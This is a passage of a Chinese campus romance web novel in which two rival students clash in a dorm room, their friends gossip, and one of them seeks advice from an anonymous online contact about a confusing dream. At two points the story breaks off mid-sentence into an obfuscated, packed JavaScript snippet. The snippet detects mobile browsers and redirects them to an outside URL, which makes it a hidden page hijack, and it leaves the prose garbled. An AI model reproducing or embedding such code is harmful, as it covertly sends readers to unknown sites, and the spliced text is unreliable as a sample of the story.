被“挤”出门的石恒、毛彦明和尹旭跟应寒面面相觑。 门被“砰”地一声关上,接着里边传出来了奇怪的动静。 “乒!” “乓!” “啊!” “不要!” 在听见模模糊糊的一声“哥哥”之后,应寒毫无预兆地唱起了歌:“五星红旗迎风飘扬,胜利歌声多么嘹亮,歌唱我们亲爱的祖国,从今走向繁荣富强!” 雄浑的歌声在走廊里回荡,正气凛然地压制住了房间里可能传来的不可描述的声音。 围观的所有人:“……” 门里发生的事跟应寒脑海中的黄色废料并不一样。 疲惫不堪的曲辞当然不会忍气吞声,但正像方谒预判的那样,他不会当着那么多人的面“公开出柜”,只能把方谒拉进寝室里,维持“不服就干”人设。 又不是第一次豁出去,干就完了,以前一挑五,现在一对一,并非毫无胜算! 反正方谒比他高比他壮,大家一定会认为是他在单方面被欺负。 搞臭这只老抽狗的名声! 于是,把人拉进屋里之后,曲辞推着方谒背靠门板,将门怼得“砰”一声关上。 考虑到此人不会乖乖就范、任他制造声响,无所顾忌的直男小辞把手里拿着的大帽和木剑随手一扔,往对方身上一跳。 一手抱着他的脖子,一手拉着门把手,双腿夹住他的腰,整个人挂在方谒身上,脚尖哐哐踢了两下门,尖叫着“啊”和“不要”。 然后也没忘了恶心方谒,低声喊了句“哥哥”。 方谒:“……” 他知道奶牛猫抽象,但没想到这么抽象,被人缠到身上一时间难以挣脱,他只能先拉开曲辞拽着门把手的爪子,离门口远一点,免得被人听得太清楚。 外边应寒适时响起的嘹亮歌声实在暖心,他在心里默默感谢兄弟。 曲辞的力气不如方谒,一下子就被拽开了,但没关系,他收回手,双臂抱着方谒的脖子,哈哈大笑:“想跟我斗,太天真了!” 方谒身上挂了个人,尽管没觉得费力,但还是想尽快把人从身上扯下去。 他不在意名声,也没想过现在俩人这个体位多尴尬,只惦记一件事儿——例会迟到了要被老牛骂! 于是他一手捏住曲辞的后颈往后拽,逼着对方仰起头来,一手狠狠掐住对方的腰,凶神恶煞地威胁:“下不下去?!” 被掐着的后颈一点不疼,倒是很酸爽,缓解了伏案画图做娃衣带来的颈椎酸痛,曲辞嚣张地大笑:“啊哈!用点力,舒服!” 至于腰,他“噗”地吹开在眼睛前边晃荡的符纸,坏笑起来:“你掐啊,掐啊,我没有痒痒肉!我不怕!” 他们远离了门口,已经挪到了阳台附近,走廊里围观群众一时间听不到里边的动静,纷纷凑了过来。 “打得厉害吗?” “要拉架吗?” “要不我去找宿管?” “去去去去!都起什么哄?不开例会了?不怕挨骂?”应寒大手一挥,“你们快走!我来解决!走吧走吧!” 每一个专业的教练都不是好对付的,眼看时间将至,大家四散离去。 305的石恒、尹旭还有毛彦明也都犹犹豫豫地走了。 清场之后,应寒敲了敲门,喊道:“你俩完事儿了吗?!方谒,到点儿了快走吧!” 完事儿是不可能完事的,把老抽狗气死,是曲辞最大的目标。 腰上那只手掐得他有点疼,但他死死忍着,仰着头不停冲方谒吹自己脸上的符纸。 呼啦一下,呼啦又一下,看着那张脸逐渐因为恼火而涨红,别提多有成就感。 方谒不是没别的招治他,现在这种局面,只要找个尖角,把他后背往上一撞,保准人就废了。 但这招太狠,奶牛猫现在不过是耍赖兼疑似耍流氓,罪不至此。 他脑子里迅速转着主意,想怎么才能把人从身上摘除,觉得时不时被吹到脸上的符纸非常讨厌,而自己两只手都忙着,想都没想,当即微微偏过头,咬住扬起的符纸末端,把它从曲辞额头上拽了下来。 面前再没有符纸阻挡的两人,就这么近距离地面对面看着对方。 曲辞没想到他会这么做,当场愣住。 不知道怎么形容,这个叼着黄色符纸、长得很凶的男人,看起来居然有点苏? 折腾了好一会儿,曲辞出了一身汗,小脸红扑扑的,更显得眉清目秀,寝室的日光灯下,一双湿漉漉的小鹿眼显得比平时更深邃了些,目不转睛地瞪着方谒。 这副呆萌的样子配上发髻上那朵莲花,实在是…… 真好看。 方谒突然一时词穷。 一张符纸没有封住妖怪,也没有驱走“魔鬼”,像是撕掉了两人之间的封条,亦或者按下了某种开关,让方才脑子里纯净无暇只知道要赢的两个人,突然意识到了某种不对。 但又没完全意识到。 直男小辞仗着姿势优势,低头在方谒的肩膀上隔着T恤咬了一口,听到他发出“嘶”的一声,果断地松腿松手,从他身上跳了下去。 贼不走空! 必须要给对方使出全力的一击! 虽然感觉快要被那瞬间绷紧的斜方肌崩掉牙,但,只要造成伤害就值了! 曲辞落地之后,迅速捡起地上的木头剑,指着方谒:“你别过来啊!惹急了我什么事都干得出来!” 左肩还隐约有些疼的方谒非常相信他这句话。 抽象,太抽象了。 自从被拽进这间寝室之后发生的每一件事都让他觉得迷惑。 甚至觉得自己参与进来,也是件非常令人迷惑的事。 我为什么会在这儿? 他瞥见曲辞桌子上能显示时间的温湿度计,再不走真的要迟到,于是沉着脸说:“行,走着瞧!” 说罢一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345582|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住木剑的剑尖,撇向一边,从曲辞身边走过去。 一打开门,就见应寒双眼放射出八卦的目光,向他身后觑了觑:“发生了……什么?” “没什么,快走!”方谒大步离开。 没什么?呵,应寒才不信。 那小基佬把方谒拽进屋里单独相处,又叮叮咣咣半天,居然全须全尾,头发没乱、脸上没青,只有面色发红微微气喘,本身就很可疑! 眼尖地看到方谒T恤肩膀上湿了一点,拽开一看发现居然是圈牙印的时候,应寒冷笑了一声:“刚才很激烈啊!” 方谒:“……” 他伸手摸了摸,有一点疼。 应寒非常体贴地拿过他的手机,滑开摄像头拍了照片给他看:“小基佬的牙长得很不错,又细又齐,圆圆的一圈,怪可爱的。” 方谒端详着那张照片,回想起被咬的那一刻,后知后觉地感受到曲辞一口咬上来的时候温热潮湿的触感,突然觉得牙印处麻酥酥的。 是一只属狗的奶牛猫。 “你没弄伤他吧?不然他肯定还会找你茬。”应寒虚伪地关心,真心地八卦。 方谒把手机口袋里一塞,面无表情:“那娃娃的事儿没完,他肯定还会找茬,只能见招拆招了。” 晚上洗过澡,曲辞披着刚吹干的头发出来,走到自己书桌前边,拿镜子照了照右边侧腰。 洗澡的时候碰着就觉得疼,现在一看,果然红了一大片,还有点青。 死老抽狗,幸亏咬了他一口,要不这把就亏了。 他拿过手机,刚点开就看见了阮林发过来的连环夺命信息。 【软软的林】:你跟方谒干嘛了? 【软软的林】:你把他拖进寝室里侮辱了吗?! 【软软的林】:他有没有反抗?! 【软软的林】:你俩该不是发了狠动了情不知道天地为何物了吧?! 【软软的林】:「图片.jpg」 【软软的林】:这张照片现在传播率很广,不过我觉得还行,不会造成什么恶劣的影响,但你俩到底干!嘛!了!快告诉我啊啊啊啊! 照片拍的是曲辞头上顶着符咒把方谒拉进寝室的刹那,其实并看不清他的脸,毕竟有那么一张长条黄纸挡着。 他当即给阮林拨了个视频回去,屏幕上浮现了对方满面八卦的表情。 基友第一句还是关心他的,松了口气说:“看到你完好无损,我就放心了。” “并非完好无损。”曲辞简单把来龙去脉说了一下,然后撩起T恤,给他看自己腰上被掐过的那一块,“我感觉明天就得青了。” 阮林看着那块印子,倒吸了一口凉气:“辞哥,我说要画你俩的同人图,你也不用这么给我送素材吧!以前我怎么没发现你这么嫩呢?!一掐就留印子?!” “谁嫩了!”曲辞放下衣摆,不爽地说,“你不知道他多使劲儿!” “是得使劲儿啊,情绪上来了谁还注意那个!你想想,大手掐着腰,把人使劲儿往下一拽,手背上青筋暴起,小麦肤色跟你腰间的白皙皮肤形成鲜明对比……”阮林眉飞色舞地说,接着就拿过平板,用触控笔在上边画了起来。 曲辞无语:“怎么黑的白的都给你想成黄的。” “我是个大黄小子没错,但你们直男动手实在是没轻没重,这谁听了不多想!”阮林边画边说,“不过他怎么掐你腰了?” 曲辞说:“我跳他身上了。” 阮林惊诧地抬头:“是我想的那个姿势吗?” “我必须贴他身,原理和那天一样!”曲辞据理力争,“我俩就是纯掰头,他是掐了我,但我还在他肩膀上咬了一口呢!我没吃亏!” 好吧,说到这里他闭上了嘴。 看阮林惊掉下巴的模样,他感觉对方的脑子现在被黄色废料给炸开了。 啧啧,你们男同没救了! 24. Chapter 24 阮林不愧是网上的大手太太,随便涂抹了几笔就画出了草图,并且在曲辞上床抱着抱枕准备睡觉的时候发了过来。 草图很草,只有两个人形的轮廓,脸还没有画,基本姿态就是曲辞抱着方谒脖子,双腿盘在他腰上的画面。 但与事实不同,画面上的两人额头相抵,姿态亲昵;方谒的另一只手没有掐着他的后颈,而是托住了他的屁股;另一手不是隔着衣服掐他的腰,而是撩起了他的衣摆,手伸进去直接掐。 画还没有上色,看不分明,但是那张大手掐住纤细腰肢的感觉确实出来了。 曲辞看着直皱眉。 姿势并不完全一样,也没画脸,理论上可以当做是别人,可有些动作又是两人间真实发生的,所以他觉得非常怪异,赶紧退出了对话框。 想起上次梦见全果方谒和方喔喔的梦境,他只期盼今晚不要再梦到什么有的没的。 所谓人生不如意之事十之八.九,他还是做梦了。 好在梦得没有那么黄暴,而是自己莫名其妙地跟方谒在一片满是荷花的湖里泛舟。 他依旧穿着白天汉服社活动的那身行头,发髻上插着那朵莲花,面前的方谒是日常的运动装打扮,一边划船一边冲他笑。 那张凶神恶煞的脸笑起来居然还挺生动。 还有几分温柔。 经过一片盛放的荷花,曲辞伸手想去摘一朵,上半身探出船外太多,小船剧烈摇晃,他一个不小心跌进了水里。 梦里他没有很怕,觉得在水里漂着挺好玩,很快感觉到手臂被人拽住,自己落进了一个宽大的怀抱,被带着浮上了水面。 “哗啦”一下,方谒和曲辞同时从水中钻出来。 两人满脸都是水珠,看着对方大笑。 沾着水珠的曲辞,就像他头上同样被水打湿的莲花一样,让方谒想起了徐志摩的一句诗——“恰似一朵水莲花不胜凉风的娇羞”。 美得摄人心魂。 方谒不知不觉地向前靠近,微微偏过头,吻在了曲辞挂着一滴水珠的鼻尖上。 “嘶——” 他心脏猛烈一哆嗦,接着就醒了过来。 睁眼看见应寒若有所思地站在自己床前,面色严肃,眼睛盯着一个不该盯的地方。 那里鼓得有点高。 方谒“艹”了一句,抬脚就想踹他的脸:“你他妈往哪儿看呢?” “你以为我想看吗?”应寒悲愤地说,“我刚从床上下来,就发现你隔着帐篷拿机关枪对着我,咱就是说能不能晚上别蹬被子?炫耀什么呢?” 方谒这会儿身体还在燥热,不知道是不是因为那个梦。 他十分不解,要说有问题吧,那个梦确实不正常;可说到底什么都没做,那么纯情,怎么能热成这样? 好在这也算是正常生理反应,只有参天大树,没有飞流直下,而且跟梦境不见得有什么关系。 他从床上跳下去,进洗手间洗漱。 应寒跟屁虫似地跟过去:“你多久没奖励自己了?” “你有点边界感行吗?”方谒无语地挤牙膏,把牙刷塞进嘴里,库哧库哧使劲儿刷。 “都哥们儿,这种话题不是很正常嘛?我关心你的生理健康。”应寒也刷牙,含混不清地说,“我觉得你还是别太绷着,该发泄就发泄,憋太久了不好,这事儿洗个澡的工夫也能来一发。” 方谒没有搭理他,刷完牙低头呼哧呼哧地洗脸,用凉水激一下懵懵的脑子,抽了张洗脸巾擦干。 望着镜子里发际线潮湿的自己,低头看看已经落下去的枪,他轻轻松了口气。 但应寒的问题并没有结束,早训完,俩人拿了跑腿送来的早餐回到宿舍享用,他又问:“你跟那个小基佬到底什么情况?” “什么什么情况?” 今天早餐是蟹柳低脂芝士蛋卷加一小杯水果隔夜燕麦,备注说用的是自己发酵的酸奶还有健康的奇亚籽,除此之外还有一杯热美式。 方谒尝出了熟悉的味道,有一些开心,贯穿了整个早训的苦大仇深脸有了些微的轻松。 手里的纸条上用飞扬的字体写道:“一日之计在于晨,一日之快乐在于早餐、午餐、晚餐害有夜宵。” 下边画了一个栩栩如生的坏笑小脸。 心情更好了。 于是方谒也很愉快地回答问题:“我和他没情况。” “他是男同,又要追你,还对你又搂又抱又上嘴咬的,你不打算出手惩治他,难道要留着过年?”应寒不可置信地问。 方谒喝了口咖啡:“怎么惩治?” “这还用我教你?上次发生被强搂事件,你直接给那人来了个过肩摔,怎么失忆了吗?”应寒瞪着眼,出离震惊,“后来你拎着棍子在老校区绕着宿舍楼追了他两圈半,差点把他腿打断,这事儿也忘了?” “曲辞又没偷我衣服在网上卖,也没造我黄谣,也没发信息骚扰我家人,论严重程度俩人没有可比性。”方谒淡淡地说。 应寒观察他平静的表情:“可是他明显对你动机不纯。” “不能唯动机论,在他做出过分的事情之前,我不能先动手,万一被禁赛怎么办?”方谒好整以暇道,“你不觉得他就是个幼稚的小孩吗?用的都是幼稚的招数,算不上恶劣。” 应寒把手里正在挖着吃的隔夜燕麦放下,坐着电脑椅滑到方谒面前,郑重其事地问:“好兄弟,我问你,你对他这么纵容,是不是因为他这么做你还挺享受的?你是不是有要弯的趋势?原因我懂,曲辞是比那个混球好看,性向跟着五官走这种事也很正常,别的不说,昨天看到阮林那小子女装,我都想泡一泡——” “滚蛋!”方谒一脚踹在他的椅子上,把他踹回了原来的位置,“你他妈就是个变态。” “我是变态我承认,可我现在是关心你!”应寒声情并茂地说。 方谒面无表情地说:“我不想小事化大,你少编排我一点就行了。” 话是这么说,但昨晚那个梦境实在挥之不去。 不仅挥之不去,还跟一些现实发生过的事情产生了微妙的融合。 导致他在回忆那个梦的时候,会时不时闪回跟曲辞近距离接触的一切细节。 会想到那只奶牛猫身上淡淡的香气,想到他确实没得黑的颜值、小鹿一样的眼睛和长睫毛, 还有,他好像发现,曲辞右眼的双眼皮褶皱部分,长了一颗很小的红痣,只有在光线恰好、且对方微微垂眸的时候才能看到。 像是个隐藏款奖励。 除了视觉之外,触觉记忆更多,比如两人紧紧抱在一起时微凉的体感和柔软的触感。 再比如昨天自己第一次主动出击,掐住那杆腰的手感。 很细,真的可以一把握住,但并不硌手,掌心软弹的感觉记忆犹新。 这位看起来瘦,可能是沾了骨架小的优势,身上不缺肉。 更重要的是,方谒清楚地知道曲辞是男生,绝没有像应寒那个无耻混蛋那样产生什么性别倒错的混乱。 但这也确实有些不对劲。 他得找个人问问。 【一串号码】:你好,有时间聊两句吗?我有事情想咨询你。 曲辞早上在咖啡馆打工,三四节有课,直到上课之后才有工夫看手机。 发现许久之前联系的那个慷慨大方但神神叨叨的网友在企鹅上发来了信息。 闲着也是闲着,这节又是工业设计史,都是后期可以背书的内容,他就开了小差。 【一颗果子】: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345583|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚看见,现在有空,你呢? 【一串号码】:我也有空,在上课。 【一颗果子】:和我一样是大学僧吗?O.o? 【一串号码】:嗯。 【一颗果子】:你买娃了吗?需不需要我帮你看看? 【一串号码】:还没有,这次不是娃的事。 【一颗果子】:那是什么事? 【一串号码】:上次我说我身边有男同,想让他离我远点,你还记得吗? 曲辞八卦之火熊熊燃烧。 【一颗果子】:后续发生了什么吗? 【一串号码】:虽然有一些事,但我发现我并不讨厌他,还梦到了他一次。 曲辞:!!! 【一颗果子】:你说,我在听。 【一串号码】:不是什么春梦,就是普通的梦,可能是因为白天刚打过交道。 话没说透,但聪明小辞立刻明白了潜台词。 【一颗果子】:但你还是有点担心自己会弯是吗? 【一串号码】:上次你没说自己是不是男同,但听起来对男同这个群体很了解,所以想问问你。 【一颗果子】:懂!这种事又不方便问身边的人,问问陌生人参考一下没毛病。 【一颗果子】:我是直男,不过身边朋友是男同,确实比较了解。 【一颗果子】:你这个症状多久了? 【一串号码】:就只有这一次。 【一颗果子】:那你平时会被他吸引吗?比如总会注意到他,想看见他之类的,还有留意他的身体部位。 【一串号码】:没有,除非他来找我麻烦。 奶牛猫是一个让人很难忽略的人,注意到他很正常,方谒想。 想看见他更不存在,顶多猜一猜下一次他会出什么招。 留意身体部位谈不上,方谒更在意自己的反应。 【一颗果子】:那冒昧的问题来了哦!做好准备回答我了吗?! 【一串号码】:你说。 【一颗果子】:你对他有没有性.冲动?你想亲他、抱他还有做些羞羞的事情吗? 方谒:…… 【一串号码】:没有。 梦里那个亲不算数,醒来的反应也很难跟亲吻扯上关系,方谒始终坚持这么认为。 【一颗果子】:那你对别的男生有这种想法吗? 【一串号码】:当然没有! 【一颗果子】:根据我的诊断,你是个铁直男,供你参考哦! 【一串号码】:诊断依据是? 【一颗果子】:我gay友跟我说过啊,区别性向的本质是性.冲动,你对哪个性别有性.冲动,才能判断你是直的还是弯的还是双,你对那个人没有那方面的想法,也没对任何男生有过这种想法,首先排除男同了。 【一颗果子】:那你对女生呢? 【一串号码】:越界了。 曲辞忍不住笑出声来,遭到了讲台上老师的一记白眼。 这个怪人,还挺霸总。 【一颗果子】:好吧好吧,你问我什么我就答什么,反正从你描述的情况看来,你,我的朋友,目前是个直男,一时的梦不能说明任何事,只不过最近那个人频繁出现在你面前,存在感强了一点。 就像昨晚自己也梦见那个老抽狗一样,不过掉下船以后就忘了怎么回事了。 自己都梦见他两回了,光用梦判断,那岂不是弯成蚊香了? 不存在的。 曲辞坐在靠窗的座位,被十一点钟的阳光照得浑身暖洋洋,眯起眼睛,手指飞快地打字。 【一颗果子】:不要随便怀疑自己哦,性向没有那么容易变的!让直男的光照在我们宽敞的康庄大道上!